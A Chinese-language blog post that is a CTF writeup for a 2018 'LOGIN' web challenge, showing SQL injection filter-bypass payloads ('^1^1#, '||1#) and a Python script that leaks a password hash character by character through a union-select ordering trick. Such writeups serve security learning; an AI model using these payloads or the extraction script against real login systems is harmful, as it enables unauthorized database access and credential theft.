BlackManba

该blog用于记录一些学习总结和心得,请大佬们多指正。

  • 主页
  • 随笔
所有文章 友链 关于我

BlackManba

该blog用于记录一些学习总结和心得,请大佬们多指正。

  • 主页
  • 随笔

2018ZJGSCTFwriteup

2018-05-07

没人做那就只能自己写了。

LOGIN

1.进入网站后是一个登陆界面,先是随便输入用户名和密码,发现弹窗消息。

image
根据提示要拿到flag就必须要先找到username。
开始先试了admin等一些常规的用户名发现都不行。那就思考后台php中的sql语句是怎么样的
根据绕过sql语句来得到username。

1
select * from admin where username='' and password=''

2.猜测后台中的语句应该是这样的,那就来构造绕过这个使用’ or 1=1#使得where后面的结果为真

返回查询结果。输入测试后发现,or ,=,where等词被过滤了。
image
然后就思考另外的方法来使得where后面的条件为真,可以使用这些方法,’^1^1#,’||1#来绕过这些
得到两个重要的提示。
image
image
知道了password就是flag经过md5加密后的内容那就需要来猜测password的值了

3.基于上面有username返回所以是一个回显的注入。那就可以构造如下sql语句来猜测password的名

1
yt_ia_a_handsome_boy' union select 1,2,0x80 order by 3 desc#

4.由上面提示可以知道password是一串经过md5加密后的16进制字符串利用union select插入一行,并在password

即第三列插入的是16进制的字符串,根据第三列的大小对每行数据进行排序。执行完sql语句,根据页面回显的
数据一位一位来猜解password的内容。
显示结果如下:
当插入的16进制值大于password的值会返回如下内容
image
当插入的内容小于password的值会返回username的值
image

5.根据上面测试的情况用python写脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding:utf-8

import requests

def makeStr(begin,end):
str=""
for i in range(begin,end):
str+=chr(i)
return str
def getPassword():
url="http://10.21.13.154:35353/index.php"
testStr = makeStr(48,127)
username = "yt_ia_a_handsome_boy' union distinct select 1,2,0x{hex} order by 3 desc#"
flag = ""
for _ in range(32):
for i in testStr:
data = {"username":username.format(hex=(flag+i).encode('hex')),"password":'1'}
res = requests.post(url,data)
if "yt_ia_a_handsome_boy" not in res.text:
flag= flag+chr(ord(i)-1)
print flag
break
else:
print "[*]",i
if __name__== '__main__':
getPassword()

6.运行后得到password的值

image
MD5j解码后得到flag

赏

谢谢你请我吃糖果

扫一扫,分享到微信

微信分享二维码
利用python脚本进行资产监测
docker下web环境搭建
© 2019 BlackManba
Hexo Theme Yilia by Litten
  • 所有文章
  • 友链
  • 关于我

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录(注意不是yilia根目录)执行以下命令:
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置:

      jsonContent:
        meta: false
        pages: false
        posts:
          title: true
          date: true
          path: true
          text: false
          raw: false
          content: false
          slug: false
          updated: false
          comments: false
          link: false
          permalink: false
          excerpt: false
          categories: false
          tags: true
    

  • 潘大佬
  • 铁棚大佬
  • 葛大佬
  • 司令大佬
  • github
座右铭:潜心学习低调发展

爱好:学习

邮箱:yangtao6693@foxmail.com

简介:本人是一个刚进入安全圈的萌新,喜欢研究web方面的安全,其他一些二进制逆向也在慢慢学习。该blog用于记录一些学习总结和心得也会分享一些生活趣事,请大佬们多指正。